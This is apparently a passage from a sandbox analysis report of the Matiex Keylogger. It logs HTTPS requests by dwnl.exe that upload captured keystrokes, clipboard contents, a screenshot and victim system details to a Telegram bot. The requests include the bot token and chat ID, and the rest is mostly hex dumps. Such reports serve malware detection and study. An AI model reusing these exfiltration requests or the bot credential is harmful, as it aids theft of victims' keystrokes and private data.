6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:18 UTC	9792	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:18 UTC	9808	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:18 UTC	9818	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:18 GMT Content-Type: application/json Content-Length: 1313 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:18 UTC	9819	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 38 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":330,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507538,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49837	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:19 UTC	9820	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803c643a9f Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:19 UTC	9820	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 63 36 34 33 61 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803c643a9fContent-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:19 UTC	9821	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:19 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:19 UTC	9821	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 39 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":331,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507539,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49791	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:00 UTC	9	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768031657ce9 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:00 UTC	10	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 31 36 35 37 63 65 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d9768031657ce9Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:00 UTC	10	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:00 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:00 UTC	11	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 30 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":285,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507520,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49792	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:01 UTC	11	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768031a37799 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:01 UTC	12	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 31 61 33 37 37 39 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d9768031a37799Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:01 UTC	28	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:01 UTC	44	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:01 UTC	60	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:01 UTC	76	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:01 UTC	92	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:01 UTC	108	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:01 UTC	124	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:01 UTC	140	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:01 UTC	156	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
